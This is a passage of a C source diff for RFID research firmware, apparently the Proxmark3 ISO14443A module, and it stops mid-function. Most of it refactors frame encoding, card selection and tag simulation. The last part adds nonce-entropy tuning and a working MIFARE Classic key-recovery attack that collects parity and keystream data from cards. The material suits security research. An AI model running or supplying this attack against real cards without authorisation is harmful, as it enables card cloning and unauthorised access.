#include "apps.h"
#include "util.h"
#include "string.h"
+#include "cmd.h"
#include "iso14443crc.h"
#include "iso14443a.h"
#include "mifareutil.h"
static uint32_t iso14a_timeout;
-uint8_t *trace = (uint8_t *) BigBuf;
+uint8_t *trace = (uint8_t *) BigBuf+TRACE_OFFSET;
int traceLen = 0;
int rsamples = 0;
int tracing = TRUE;
uint8_t trigger = 0;
+// the block number for the ISO14443-4 PCB
+static uint8_t iso14_pcb_blocknum = 0;
// CARD TO READER - manchester
// Sequence D: 11110000 modulation with subcarrier during first half
};
-void iso14a_set_trigger(int enable) {
+void iso14a_set_trigger(bool enable) {
trigger = enable;
}
-void iso14a_clear_tracelen(void) {
+void iso14a_clear_trace() {
+ memset(trace, 0x44, TRACE_SIZE);
traceLen = 0;
}
-void iso14a_set_tracing(int enable) {
+
+void iso14a_set_tracing(bool enable) {
tracing = enable;
}
+void iso14a_set_timeout(uint32_t timeout) {
+ iso14a_timeout = timeout;
+}
+
//-----------------------------------------------------------------------------
// Generate the parity value for a byte sequence
//
LEDsoff();
// init trace buffer
- traceLen = 0;
- memset(trace, 0x44, TRACE_SIZE);
+ iso14a_clear_trace();
// We won't start recording the frames that we acquire until we trigger;
// a good trigger condition to get started is probably when we see a
}
}
}
+
static int EmSendCmd14443aRaw(uint8_t *resp, int respLen, int correctionNeeded);
+int EmSend4bitEx(uint8_t resp, int correctionNeeded);
+int EmSend4bit(uint8_t resp);
+int EmSendCmdExPar(uint8_t *resp, int respLen, int correctionNeeded, uint32_t par);
+int EmSendCmdExPar(uint8_t *resp, int respLen, int correctionNeeded, uint32_t par);
+int EmSendCmdEx(uint8_t *resp, int respLen, int correctionNeeded);
+int EmSendCmd(uint8_t *resp, int respLen);
+int EmSendCmdPar(uint8_t *resp, int respLen, uint32_t par);
//-----------------------------------------------------------------------------
// Main loop of simulated tag: receive commands from reader, decide what
// response to send, and send it.
//-----------------------------------------------------------------------------
-void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd)
+void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data)
{
// Enable and clear the trace
tracing = TRUE;
- traceLen = 0;
- memset(trace, 0x44, TRACE_SIZE);
+ iso14a_clear_trace();
// This function contains the tag emulation
uint8_t sak;
uint8_t response6[] = { 0x03, 0x3B, 0x00, 0x00, 0x00 }; // dummy ATS (pseudo-ATR), answer to RATS
ComputeCrc14443(CRC_14443_A, response6, 3, &response6[3], &response6[4]);
- uint8_t *resp;
+ uint8_t *resp = NULL;
int respLen;
// Longest possible response will be 16 bytes + 2 CRC = 18 bytes
// Response to a read request - not implemented atm
uint8_t *resp4 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET + (166*4));
- int resp4Len;
+// int resp4Len;
// Authenticate response - nonce
uint8_t *resp5 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET + (166*5));
int cmdsRecvd = 0;
uint8_t* respdata = NULL;
int respsize = 0;
- uint8_t nack = 0x04;
+// uint8_t nack = 0x04;
memset(receivedCmd, 0x44, RECV_CMD_SIZE);
// Strange answer is an example of rare message size (3 bits)
CodeStrangeAnswerAsTag();
- memcpy(resp4, ToSend, ToSendMax); resp4Len = ToSendMax;
+ memcpy(resp4, ToSend, ToSendMax);// resp4Len = ToSendMax;
// Authentication answer (random nonce)
CodeIso14443aAsTag(response5, sizeof(response5));
DbpString("button press");
break;
}
+
+ if (tracing) {
+ LogTrace(receivedCmd,len, 0, Uart.parityBits, TRUE);
+ }
+
// doob - added loads of debug strings so we can see what the reader is saying to us during the sim as hi14alist is not populated
// Okay, look at the command now.
lastorder = order;
respdata = response3a;
respsize = sizeof(response3a);
} else if(receivedCmd[0] == 0x30) { // Received a (plain) READ
- resp = resp4; respLen = resp4Len; order = 4; // Do nothing
+// resp = resp4; respLen = resp4Len; order = 4; // Do nothing
+// respdata = &nack;
+// respsize = sizeof(nack); // 4-bit answer
+ EmSendCmdEx(data+(4*receivedCmd[0]),16,false);
Dbprintf("Read request from reader: %x %x",receivedCmd[0],receivedCmd[1]);
- respdata = &nack;
- respsize = sizeof(nack); // 4-bit answer
+ // We already responded, do not send anything with the EmSendCmd14443aRaw() that is called below
+ respLen = 0;
} else if(receivedCmd[0] == 0x50) { // Received a HALT
- DbpString("Reader requested we HALT!:");
+// DbpString("Reader requested we HALT!:");
// Do not respond
resp = resp1; respLen = 0; order = 0;
respdata = NULL;
respdata = response6;
respsize = sizeof(response6);
} else {
- // Never seen this command before
- Dbprintf("Received (len=%d): %02x %02x %02x %02x %02x %02x %02x %02x %02x",
- len,
- receivedCmd[0], receivedCmd[1], receivedCmd[2],
- receivedCmd[3], receivedCmd[4], receivedCmd[5],
- receivedCmd[6], receivedCmd[7], receivedCmd[8]);
- // Do not respond
- resp = resp1; respLen = 0; order = 0;
- respdata = NULL;
- respsize = 0;
+ if (order == 7 && len ==8) {
+ uint32_t nr = bytes_to_num(receivedCmd,4);
+ uint32_t ar = bytes_to_num(receivedCmd+4,4);
+ Dbprintf("Auth attempt {nr}{ar}: %08x %08x",nr,ar);
+ } else {
+ // Never seen this command before
+ Dbprintf("Received unknown command (len=%d):",len);
+ Dbhexdump(len,receivedCmd,false);
+ }
+ // Do not respond
+ resp = resp1; respLen = 0; order = 0;
+ respdata = NULL;
+ respsize = 0;
}
// Count number of wakeups received after a halt
}
if (tracing) {
- LogTrace(receivedCmd,len, 0, Uart.parityBits, TRUE);
if (respdata != NULL) {
LogTrace(respdata,respsize, 0, SwapBits(GetParity(respdata,respsize),respsize), FALSE);
}
}
//-----------------------------------------------------------------------------
-// Code a 7-bit command without parity bit
-// This is especially for 0x26 and 0x52 (REQA and WUPA)
-//-----------------------------------------------------------------------------
-void ShortFrameFromReader(const uint8_t bt)
-{
- int j;
- int last;
- uint8_t b;
-
- ToSendReset();
-
- // Start of Communication (Seq. Z)
- ToSend[++ToSendMax] = SEC_Z;
- last = 0;
-
- b = bt;
- for(j = 0; j < 7; j++) {
- if(b & 1) {
- // Sequence X
- ToSend[++ToSendMax] = SEC_X;
- last = 1;
- } else {
- if(last == 0) {
- // Sequence Z
- ToSend[++ToSendMax] = SEC_Z;
- }
- else {
- // Sequence Y
- ToSend[++ToSendMax] = SEC_Y;
- last = 0;
- }
- }
- b >>= 1;
- }
-
- // End of Communication
- if(last == 0) {
- // Sequence Z
- ToSend[++ToSendMax] = SEC_Z;
- }
- else {
- // Sequence Y
- ToSend[++ToSendMax] = SEC_Y;
- last = 0;
- }
- // Sequence Y
- ToSend[++ToSendMax] = SEC_Y;
-
- // Just to be sure!
- ToSend[++ToSendMax] = SEC_Y;
- ToSend[++ToSendMax] = SEC_Y;
- ToSend[++ToSendMax] = SEC_Y;
-
- // Convert from last character reference to length
- ToSendMax++;
-}
-
-//-----------------------------------------------------------------------------
-// Prepare reader command to send to FPGA
-//
+// Prepare reader command (in bits, support short frames) to send to FPGA
//-----------------------------------------------------------------------------
-void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity)
+void CodeIso14443aBitsAsReaderPar(const uint8_t * cmd, int bits, uint32_t dwParity)
{
int i, j;
int last;
ToSend[++ToSendMax] = SEC_Z;
last = 0;
+ size_t bytecount = nbytes(bits);
// Generate send structure for the data bits
- for (i = 0; i < len; i++) {
+ for (i = 0; i < bytecount; i++) {
// Get the current byte to send
b = cmd[i];
+ size_t bitsleft = MIN((bits-(i*8)),8);
- for (j = 0; j < 8; j++) {
+ for (j = 0; j < bitsleft; j++) {
if (b & 1) {
// Sequence X
ToSend[++ToSendMax] = SEC_X;
b >>= 1;
}
- // Get the parity bit
- if ((dwParity >> i) & 0x01) {
- // Sequence X
- ToSend[++ToSendMax] = SEC_X;
- last = 1;
- } else {
- if (last == 0) {
- // Sequence Z
- ToSend[++ToSendMax] = SEC_Z;
+ // Only transmit (last) parity bit if we transmitted a complete byte
+ if (j == 8) {
+ // Get the parity bit
+ if ((dwParity >> i) & 0x01) {
+ // Sequence X
+ ToSend[++ToSendMax] = SEC_X;
+ last = 1;
} else {
- // Sequence Y
- ToSend[++ToSendMax] = SEC_Y;
- last = 0;
+ if (last == 0) {
+ // Sequence Z
+ ToSend[++ToSendMax] = SEC_Z;
+ } else {
+ // Sequence Y
+ ToSend[++ToSendMax] = SEC_Y;
+ last = 0;
+ }
}
}
}
ToSendMax++;
}
+//-----------------------------------------------------------------------------
+// Prepare reader command to send to FPGA
+//-----------------------------------------------------------------------------
+void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity)
+{
+ CodeIso14443aBitsAsReaderPar(cmd,len*8,dwParity);
+}
+
//-----------------------------------------------------------------------------
// Wait for commands from reader
// Stop when button is pressed (return 1) or field was gone (return 2)
}
}
-void ReaderTransmitShort(const uint8_t* bt)
+void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par)
{
int wait = 0;
int samples = 0;
-
- ShortFrameFromReader(*bt);
-
- // Select the card
- TransmitFor14443a(ToSend, ToSendMax, &samples, &wait);
-
- // Store reader command in buffer
- if (tracing) LogTrace(bt,1,0,GetParity(bt,1),TRUE);
-}
-
-void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par)
-{
- int wait = 0;
- int samples = 0;
-
+
// This is tied to other size changes
// uint8_t* frame_addr = ((uint8_t*)BigBuf) + 2024;
- CodeIso14443aAsReaderPar(frame,len,par);
-
+ CodeIso14443aBitsAsReaderPar(frame,bits,par);
+
// Select the card
TransmitFor14443a(ToSend, ToSendMax, &samples, &wait);
if(trigger)
LED_A_ON();
-
+
// Store reader command in buffer
- if (tracing) LogTrace(frame,len,0,par,TRUE);
+ if (tracing) LogTrace(frame,nbytes(bits),0,par,TRUE);
}
+void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par)
+{
+ ReaderTransmitBitsPar(frame,len*8,par);
+}
void ReaderTransmit(uint8_t* frame, int len)
{
// Generate parity and redirect
- ReaderTransmitPar(frame,len,GetParity(frame,len));
+ ReaderTransmitBitsPar(frame,len*8,GetParity(frame,len));
}
int ReaderReceive(uint8_t* receivedAnswer)
/* performs iso14443a anticolision procedure
* fills the uid pointer unless NULL
* fills resp_data unless NULL */
-int iso14443a_select_card(uint8_t * uid_ptr, iso14a_card_select_t * resp_data, uint32_t * cuid_ptr) {
- uint8_t wupa[] = { 0x52 }; // 0x26 - REQA 0x52 - WAKE-UP
- uint8_t sel_all[] = { 0x93,0x20 };
- uint8_t sel_uid[] = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
- uint8_t rats[] = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0
-
- uint8_t* resp = (((uint8_t *)BigBuf) + 3560); // was 3560 - tied to other size changes
-
- uint8_t sak = 0x04; // cascade uid
- int cascade_level = 0;
-
- int len;
-
- // clear uid
- memset(uid_ptr, 0, 8);
-
- // Broadcast for a card, WUPA (0x52) will force response from all cards in the field
- ReaderTransmitShort(wupa);
- // Receive the ATQA
- if(!ReaderReceive(resp)) return 0;
-
- if(resp_data)
- memcpy(resp_data->atqa, resp, 2);
+int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, uint32_t* cuid_ptr) {
+ uint8_t wupa[] = { 0x52 }; // 0x26 - REQA 0x52 - WAKE-UP
+ uint8_t sel_all[] = { 0x93,0x20 };
+ uint8_t sel_uid[] = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
+ uint8_t rats[] = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0
+ uint8_t* resp = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes
+ byte_t uid_resp[4];
+ size_t uid_resp_len;
+
+ uint8_t sak = 0x04; // cascade uid
+ int cascade_level = 0;
+ int len;
+
+ // Broadcast for a card, WUPA (0x52) will force response from all cards in the field
+ ReaderTransmitBitsPar(wupa,7,0);
+ // Receive the ATQA
+ if(!ReaderReceive(resp)) return 0;
+// Dbprintf("atqa: %02x %02x",resp[0],resp[1]);
+
+ if(p_hi14a_card) {
+ memcpy(p_hi14a_card->atqa, resp, 2);
+ p_hi14a_card->uidlen = 0;
+ memset(p_hi14a_card->uid,0,10);
+ }
- // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in
- // which case we need to make a cascade 2 request and select - this is a long UID
- // While the UID is not complete, the 3nd bit (from the right) is set in the SAK.
- for(; sak & 0x04; cascade_level++)
- {
- // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97)
- sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2;
+ // clear uid
+ if (uid_ptr) {
+ memset(uid_ptr,0,8);
+ }
- // SELECT_ALL
- ReaderTransmit(sel_all,sizeof(sel_all));
- if (!ReaderReceive(resp)) return 0;
- if(uid_ptr) memcpy(uid_ptr + cascade_level*4, resp, 4);
-
+ // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in
+ // which case we need to make a cascade 2 request and select - this is a long UID
+ // While the UID is not complete, the 3nd bit (from the right) is set in the SAK.
+ for(; sak & 0x04; cascade_level++) {
+ // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97)
+ sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2;
+
+ // SELECT_ALL
+ ReaderTransmit(sel_all,sizeof(sel_all));
+ if (!ReaderReceive(resp)) return 0;
+
+ // First backup the current uid
+ memcpy(uid_resp,resp,4);
+ uid_resp_len = 4;
+ // Dbprintf("uid: %02x %02x %02x %02x",uid_resp[0],uid_resp[1],uid_resp[2],uid_resp[3]);
+
// calculate crypto UID
- if(cuid_ptr) *cuid_ptr = bytes_to_num(resp, 4);
+ if(cuid_ptr) {
+ *cuid_ptr = bytes_to_num(uid_resp, 4);
+ }
- // Construct SELECT UID command
+ // Construct SELECT UID command
memcpy(sel_uid+2,resp,5);
- AppendCrc14443a(sel_uid,7);
- ReaderTransmit(sel_uid,sizeof(sel_uid));
+ AppendCrc14443a(sel_uid,7);
+ ReaderTransmit(sel_uid,sizeof(sel_uid));
+
+ // Receive the SAK
+ if (!ReaderReceive(resp)) return 0;
+ sak = resp[0];
+
+ // Test if more parts of the uid are comming
+ if ((sak & 0x04) && uid_resp[0] == 0x88) {
+ // Remove first byte, 0x88 is not an UID byte, it CT, see page 3 of:
+ // http://www.nxp.com/documents/application_note/AN10927.pdf
+ memcpy(uid_resp, uid_resp + 1, 3);
+ uid_resp_len = 3;
+ }
+
+ if(uid_ptr) {
+ memcpy(uid_ptr + (cascade_level*3), uid_resp, uid_resp_len);
+ }
+
+ if(p_hi14a_card) {
+ memcpy(p_hi14a_card->uid + (cascade_level*3), uid_resp, uid_resp_len);
+ p_hi14a_card->uidlen += uid_resp_len;
+ }
+ }
- // Receive the SAK
- if (!ReaderReceive(resp)) return 0;
- sak = resp[0];
- }
- if(resp_data) {
- resp_data->sak = sak;
- resp_data->ats_len = 0;
- }
- //-- this byte not UID, it CT. http://www.nxp.com/documents/application_note/AN10927.pdf page 3
- if (uid_ptr[0] == 0x88) {
- memcpy(uid_ptr, uid_ptr + 1, 7);
- uid_ptr[7] = 0;
- }
+ if(p_hi14a_card) {
+ p_hi14a_card->sak = sak;
+ p_hi14a_card->ats_len = 0;
+ }
- if( (sak & 0x20) == 0)
- return 2; // non iso14443a compliant tag
+ if( (sak & 0x20) == 0) {
+ return 2; // non iso14443a compliant tag
+ }
- // Request for answer to select
- if(resp_data) { // JCOP cards - if reader sent RATS then there is no MIFARE session at all!!!
- AppendCrc14443a(rats, 2);
- ReaderTransmit(rats, sizeof(rats));
-
- if (!(len = ReaderReceive(resp))) return 0;
-
- memcpy(resp_data->ats, resp, sizeof(resp_data->ats));
- resp_data->ats_len = len;
- }
+ // Request for answer to select
+ AppendCrc14443a(rats, 2);
+ ReaderTransmit(rats, sizeof(rats));
+
+ if (!(len = ReaderReceive(resp))) return 0;
+
+ if(p_hi14a_card) {
+ memcpy(p_hi14a_card->ats, resp, sizeof(p_hi14a_card->ats));
+ p_hi14a_card->ats_len = len;
+ }
- return 1;
+ // reset the PCB block number
+ iso14_pcb_blocknum = 0;
+ return 1;
}
void iso14443a_setup() {
- // Setup SSC
- FpgaSetupSsc();
+ // Set up the synchronous serial port
+ FpgaSetupSsc();
// Start from off (no field generated)
// Signal field is off with the appropriate LED
LED_D_OFF();
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
- SpinDelay(200);
+ SpinDelay(50);
SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
// Signal field is on with the appropriate LED
LED_D_ON();
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
- SpinDelay(200);
+ SpinDelay(50);
iso14a_timeout = 2048; //default
}
int iso14_apdu(uint8_t * cmd, size_t cmd_len, void * data) {
uint8_t real_cmd[cmd_len+4];
real_cmd[0] = 0x0a; //I-Block
+ // put block number into the PCB
+ real_cmd[0] |= iso14_pcb_blocknum;
real_cmd[1] = 0x00; //CID: 0 //FIXME: allow multiple selected cards
memcpy(real_cmd+2, cmd, cmd_len);
AppendCrc14443a(real_cmd,cmd_len+2);
ReaderTransmit(real_cmd, cmd_len+4);
size_t len = ReaderReceive(data);
- if(!len)
- return -1; //DATA LINK ERROR
-
+ uint8_t * data_bytes = (uint8_t *) data;
+ if (!len)
+ return 0; //DATA LINK ERROR
+ // if we received an I- or R(ACK)-Block with a block number equal to the
+ // current block number, toggle the current block number
+ else if (len >= 4 // PCB+CID+CRC = 4 bytes
+ && ((data_bytes[0] & 0xC0) == 0 // I-Block
+ || (data_bytes[0] & 0xD0) == 0x80) // R-Block with ACK bit set to 0
+ && (data_bytes[0] & 0x01) == iso14_pcb_blocknum) // equal block numbers
+ {
+ iso14_pcb_blocknum ^= 1;
+ }
+
return len;
}
-
//-----------------------------------------------------------------------------
// Read an ISO 14443a tag. Send out commands and store answers.
//
//-----------------------------------------------------------------------------
-void ReaderIso14443a(UsbCommand * c, UsbCommand * ack)
+void ReaderIso14443a(UsbCommand * c)
{
iso14a_command_t param = c->arg[0];
uint8_t * cmd = c->d.asBytes;
size_t len = c->arg[1];
-
- if(param & ISO14A_REQUEST_TRIGGER) iso14a_set_trigger(1);
+ uint32_t arg0 = 0;
+ byte_t buf[USB_CMD_DATA_SIZE];
+
+ iso14a_clear_trace();
+ iso14a_set_tracing(true);
+
+ if(param & ISO14A_REQUEST_TRIGGER) {
+ iso14a_set_trigger(1);
+ }
if(param & ISO14A_CONNECT) {
iso14443a_setup();
- ack->arg[0] = iso14443a_select_card(ack->d.asBytes, (iso14a_card_select_t *) (ack->d.asBytes+12), NULL);
- UsbSendPacket((void *)ack, sizeof(UsbCommand));
+ arg0 = iso14443a_select_card(NULL,(iso14a_card_select_t*)buf,NULL);
+ cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(iso14a_card_select_t));
+// UsbSendPacket((void *)ack, sizeof(UsbCommand));
}
if(param & ISO14A_SET_TIMEOUT) {
}
if(param & ISO14A_APDU) {
- ack->arg[0] = iso14_apdu(cmd, len, ack->d.asBytes);
- UsbSendPacket((void *)ack, sizeof(UsbCommand));
+ arg0 = iso14_apdu(cmd, len, buf);
+ cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));
+// UsbSendPacket((void *)ack, sizeof(UsbCommand));
}
if(param & ISO14A_RAW) {
len += 2;
}
ReaderTransmit(cmd,len);
- ack->arg[0] = ReaderReceive(ack->d.asBytes);
- UsbSendPacket((void *)ack, sizeof(UsbCommand));
+ arg0 = ReaderReceive(buf);
+// UsbSendPacket((void *)ack, sizeof(UsbCommand));
+ cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));
}
- if(param & ISO14A_REQUEST_TRIGGER) iso14a_set_trigger(0);
+ if(param & ISO14A_REQUEST_TRIGGER) {
+ iso14a_set_trigger(0);
+ }
- if(param & ISO14A_NO_DISCONNECT)
+ if(param & ISO14A_NO_DISCONNECT) {
return;
+ }
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
}
+
+#define TEST_LENGTH 100
+typedef struct mftest{
+ uint8_t nt[8];
+ uint8_t count;
+}mftest ;
+
+/**
+ *@brief Tunes the mifare attack settings. This method checks the nonce entropy when
+ *using a specified timeout.
+ *Different cards behave differently, some cards require up to a second to power down (and thus reset
+ *token generator), other cards are fine with 50 ms.
+ *
+ * @param time
+ * @return the entropy. A value of 100 (%) means that every nonce was unique, while a value close to
+ *zero indicates a low entropy: the given timeout is sufficient to power down the card.
+ */
+int TuneMifare(int time)
+{
+ // Mifare AUTH
+ uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b };
+ uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);
+
+ iso14443a_setup();
+ int TIME1=time;
+ int TIME2=2000;
+ uint8_t uid[8];
+ uint32_t cuid;
+ byte_t nt[4];
+ Dbprintf("Tuning... testing a delay of %d ms (press button to skip)",time);
+
+
+ mftest nt_values[TEST_LENGTH];
+ int nt_size = 0;
+ int i = 0;
+ for(i = 0 ; i< 100 ; i++)
+ {
+ LED_C_OFF();
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+ SpinDelay(TIME1);
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
+ LED_C_ON();
+ SpinDelayUs(TIME2);
+ if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
+
+ // Transmit MIFARE_CLASSIC_AUTH
+ ReaderTransmit(mf_auth, sizeof(mf_auth));
+
+ // Receive the (16 bit) "random" nonce
+ if (!ReaderReceive(receivedAnswer)) continue;
+ memcpy(nt, receivedAnswer, 4);
+
+ //store it
+ int already_stored = 0;
+ for(int i = 0 ; i < nt_size && !already_stored; i++)
+ {
+ if( memcmp(nt, nt_values[i].nt, 4) == 0)
+ {
+ nt_values[i].count++;
+ already_stored = 1;
+ }
+ }
+ if(!already_stored)
+ {
+ mftest* ptr= &nt_values[nt_size++];
+ //Clear it before use
+ memset(ptr, 0, sizeof(mftest));
+ memcpy(ptr->nt, nt, 4);
+ ptr->count = 1;
+ }
+
+ if(BUTTON_PRESS())
+ {
+ Dbprintf("Tuning aborted prematurely");
+ break;
+ }
+ }
+ /*
+ for(int i = 0 ; i < nt_size;i++){
+ mftest x = nt_values[i];
+ Dbprintf("%d,%d,%d,%d : %d",x.nt[0],x.nt[1],x.nt[2],x.nt[3],x.count);
+ }
+ */
+ int result = nt_size *100 / i;
+ Dbprintf(" ... results for %d ms : %d %",time, result);
+ return result;
+}
+
//-----------------------------------------------------------------------------
// Read an ISO 14443a tag. Send out commands and store answers.
//
//-----------------------------------------------------------------------------
-void ReaderMifare(uint32_t parameter)
+#define STATE_SIZE 100
+typedef struct AttackState{
+ byte_t nt[4];
+ byte_t par_list[8];
+ byte_t ks_list[8];
+ byte_t par;
+ byte_t par_low;
+ byte_t nt_diff;
+ uint8_t mf_nr_ar[8];
+} AttackState;
+
+
+int continueAttack(AttackState* pState,uint8_t* receivedAnswer)
+{
+
+ // Transmit reader nonce and reader answer
+ ReaderTransmitPar(pState->mf_nr_ar, sizeof(pState->mf_nr_ar),pState->par);
+
+ // Receive 4 bit answer
+ int len = ReaderReceive(receivedAnswer);
+ if (!len)
+ {
+ if (pState->nt_diff == 0)
+ {
+ pState->par++;
+ } else {
+ pState->par = (((pState->par >> 3) + 1) << 3) | pState->par_low;
+ }
+ return 2;
+ }
+ if(pState->nt_diff == 0)
+ {
+ pState->par_low = pState->par & 0x07;
+ }
+ //Dbprintf("answer received, parameter (%d), (memcmp(nt, nt_no)=%d",parameter,memcmp(nt, nt_noattack, 4));
+ //if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue;
+ //isNULL = 0;//|| !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0);
+ //
+ // if ( /*(isNULL != 0 ) && */(memcmp(nt, nt_attacked, 4) != 0) ) continue;
+
+ //led_on = !led_on;
+ //if(led_on) LED_B_ON(); else LED_B_OFF();
+ pState->par_list[pState->nt_diff] = pState->par;
+ pState->ks_list[pState->nt_diff] = receivedAnswer[0] ^ 0x05;
+
+ // Test if the information is complete
+ if (pState->nt_diff == 0x07) {
+ return 0;
+ }
+
+ pState->nt_diff = (pState->nt_diff + 1) & 0x07;
+ pState->mf_nr_ar[3] = pState->nt_diff << 5;
+ pState->par = pState->par_low;
+ return 1;
+}
+
+void reportResults(uint8_t uid[8],AttackState *pState, int isOK)
+{
+ LogTrace(pState->nt, 4, 0, GetParity(pState->nt, 4), TRUE);
+ LogTrace(pState->par_list, 8, 0, GetParity(pState->par_list, 8), TRUE);
+ LogTrace(pState->ks_list, 8, 0, GetParity(pState->ks_list, 8), TRUE);
+
+ byte_t buf[48];
+ memcpy(buf + 0, uid, 4);
+ if(pState != NULL)
+ {
+ memcpy(buf + 4, pState->nt, 4);
+ memcpy(buf + 8, pState->par_list, 8);
+ memcpy(buf + 16, pState->ks_list, 8);
+ }
+
+ LED_B_ON();
+ cmd_send(CMD_ACK,isOK,0,0,buf,48);
+ LED_B_OFF();
+
+ // Thats it...
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+ LEDsoff();
+ tracing = TRUE;
+
+ if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED");
+}
+
+void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time);
+
+/**
+ * @brief New implementation of ReaderMifare, the classic mifare attack.
+ * This implementation is backwards-compatible, but has some added parameters.
+ * @param c the usbcommand in complete
+ * c->arg[0] - nt_noattack (deprecated)
+ * c->arg[1] - offset_time us (0 => random)
+ * c->arg[2] - powerdown_time ms (0=> tuning)
+ *
+ */
+void ReaderMifare(UsbCommand *c)
+{
+ /*
+ * The 'no-attack' is not used anymore, with the introduction of
+ * state tables. Instead, we use an offset which is random. This means that we
+ * should not get stuck on a 'bad' nonce, so no-attack is not needed.
+ * Anyway, arg[0] is reserved for backwards compatibility
+ uint32_t nt_noattack_uint = c->arg[0];
+ byte_t nt_noattack[4];
+ num_to_bytes(parameter, 4, nt_noattack_uint);
+
+ */
+ /*
+ *IF, for some reason, you want to attack a specific nonce or whatever,
+ *you can specify the offset time yourself, in which case it won't be random.
+ *
+ * The offset time is microseconds, MICROSECONDS, not ms.
+ */
+ uint32_t offset_time = c->arg[1];
+ if(offset_time == 0)
+ {
+ //[Martin:]I would like to have used rand(), but linking problems prevented it
+ //offset_time = rand() % 4000;
+ //So instead, I found this nifty thingy, which seems to fit the bill
+ offset_time = GetTickCount() % 2000;
+ }
+ /*
+ * There is an implementation of tuning. Tuning will try to determine
+ * a good power-down time, which is different for different cards.
+ * If a value is specified from the packet, we won't do any tuning.
+ * A value of zero will initialize a tuning.
+ * The power-down time is milliseconds, that MILLI-seconds .
+ */
+ uint32_t powerdown_time = c->arg[2];
+ if(powerdown_time == 0)
+ {
+ //Tuning required
+ int entropy = 100;
+ int time = 25;
+ entropy = TuneMifare(time);
+
+ while(entropy > 50 && time < 2000){
+ //Increase timeout, but never more than 500ms at a time
+ time = MIN(time*2, time+500);
+ entropy = TuneMifare(time);
+ }
+ if(entropy > 50){
+ Dbprintf("OBS! This card has high entropy (%d) and slow power-down. This may take a while", entropy);
+ }
+ powerdown_time = time;
+ }
+ //The actual attack
+ ReaderMifareBegin(offset_time, powerdown_time);
+}
+void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time)
{
- // Mifare AUTH
+ Dbprintf("Using power-down-time of %d ms, offset time %d us", powerdown_time, offset_time);
+
+ /**
+ *Allocate our state-table and initialize with zeroes
+ **/
+
+ AttackState states[STATE_SIZE] ;
+ //Dbprintf("Memory allocated ok! (%d bytes)",STATE_SIZE*sizeof(AttackState) );
+ memset(states, 0, STATE_SIZE*sizeof(AttackState));
+
+ // Mifare AUTH
uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b };
- uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
+ uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes
- uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + 3560); // was 3560 - tied to other size changes
- traceLen = 0;
+ traceLen = 0;
tracing = false;
iso14443a_setup();
-
LED_A_ON();
LED_B_OFF();
LED_C_OFF();
- byte_t nt_diff = 0;
LED_A_OFF();
- byte_t par = 0;
- //byte_t par_mask = 0xff;
- byte_t par_low = 0;
- int led_on = TRUE;
uint8_t uid[8];
uint32_t cuid;
- tracing = FALSE;
- byte_t nt[4] = {0,0,0,0};
- byte_t nt_attacked[4], nt_noattack[4];
- byte_t par_list[8] = {0,0,0,0,0,0,0,0};
- byte_t ks_list[8] = {0,0,0,0,0,0,0,0};
- num_to_bytes(parameter, 4, nt_noattack);
- int isOK = 0, isNULL = 0;
-
- while(TRUE)
+ byte_t nt[4];
+ int nts_attacked= 0;
+ //Keeps track of progress (max value of nt_diff for our states)
+ int progress = 0;
+ int high_entropy_warning_issued = 0;
+ while(!BUTTON_PRESS())
{
- LED_C_ON();
+ LED_C_OFF();
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
- SpinDelay(200);
+ SpinDelay(powerdown_time);
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
- LED_C_OFF();
-
- // Test if the action was cancelled
- if(BUTTON_PRESS()) {
- break;
- }
+ LED_C_ON();
+ SpinDelayUs(offset_time);
if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
